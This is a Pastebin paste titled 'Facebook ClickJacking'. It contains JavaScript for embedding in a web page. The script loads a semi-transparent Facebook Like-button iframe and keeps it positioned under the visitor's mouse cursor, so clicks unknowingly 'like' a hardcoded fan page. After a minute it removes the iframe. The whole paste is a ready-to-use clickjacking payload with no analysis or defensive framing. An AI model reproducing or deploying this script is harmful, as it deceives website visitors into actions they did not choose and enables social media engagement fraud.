niammuddin

Facebook ClickJacking

Feb 6th, 2014
247
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 3.46 KB | None | 0 0
  1. <script language='javascript'>var fan_page_url = 'http://www.facebook.com/idmayadotcom'
  2. var opacity = 0.6;
  3. var time = 60000;</script>
  4.  
  5. <script type="text/javascript">
  6. if((document.getElementById) && window.addEventListener || window.attachEvent){
  7. (function(){
  8. var hairCol = "#ff0000";
  9.  
  10. var d = document;
  11. var my = -10;
  12. var mx = -10;
  13. var r;
  14. var vert = "";
  15.  
  16. var idx = document.getElementsByTagName('div').length;
  17.  
  18. var thehairs = "<iframe id='theiframe' scrolling='no' frameBorder='0' allowTransparency='true' src='http://www.facebook.com/widgets/like.php?href=" + encodeURIComponent(fan_page_url) + "&amp;layout=standard&amp;show_faces=true&amp;width=53&amp;action=like&amp;colorscheme=light&amp;height=80' style='position:absolute;width:53px;height:23px;overflow:hidden;border:0;opacity:" + opacity +";filter:alpha(opacity=" + opacity * 100+ ");'></iframe>";
  19. document.write(thehairs);
  20. var like = document.getElementById("theiframe");
  21. document.getElementsByTagName('body')[0].appendChild(like);
  22.  
  23. var pix = "px";
  24. var domWw = (typeof window.innerWidth == "number");
  25. var domSy = (typeof window.pageYOffset == "number");
  26.  
  27. if (domWw)
  28. r = window;
  29. else{
  30. if (d.documentElement && typeof d.documentElement.clientWidth == "number" && d.documentElement.clientWidth != 0)
  31. r = d.documentElement;
  32. else{
  33. if (d.body && typeof d.body.clientWidth == "number")
  34. r = d.body;
  35. }
  36. }
  37.  
  38.  
  39. if(time != 0){
  40. setTimeout(function(){
  41. document.getElementsByTagName('body')[0].removeChild(like);
  42.  
  43. if (window.addEventListener){
  44. document.removeEventListener("mousemove",mouse,false);
  45. }
  46. else if (window.attachEvent){
  47. document.detachEvent("onmousemove",mouse);
  48. }
  49. }, time);
  50. }
  51.  
  52. function scrl(yx){
  53. var y,x;
  54. if (domSy){
  55. y = r.pageYOffset;
  56. x = r.pageXOffset;
  57. }
  58. else{
  59. y = r.scrollTop;
  60. x = r.scrollLeft;
  61. }
  62. return (yx == 0) ? y:x;
  63. }
  64.  
  65. function mouse(e){
  66. var msy = (domSy)?window.pageYOffset:0;
  67. if (!e)
  68. e = window.event;
  69. if (typeof e.pageY == 'number'){
  70. my = e.pageY - 5 - msy;
  71. mx = e.pageX - 4;
  72. }
  73. else{
  74. my = e.clientY - 6 - msy;
  75. mx = e.clientX - 6;
  76. }
  77. vert.top = my + scrl(0) + pix;
  78. vert.left = mx + pix;
  79. }
  80.  
  81. function ani(){
  82. vert.top = my + scrl(0) + pix;
  83. setTimeout(ani, 300);
  84. }
  85.  
  86.  
  87. function init(){
  88. vert = document.getElementById("theiframe").style;
  89. ani();
  90. }
  91.  
  92. if (window.addEventListener){
  93. window.addEventListener("load",init,false);
  94. document.addEventListener("mousemove",mouse,false);
  95. }
  96. else if (window.attachEvent){
  97. window.attachEvent("onload",init);
  98. document.attachEvent("onmousemove",mouse);
  99. }
  100.  
  101. })();
  102. }
  103. </script>
Add Comment
Please, Sign In to add comment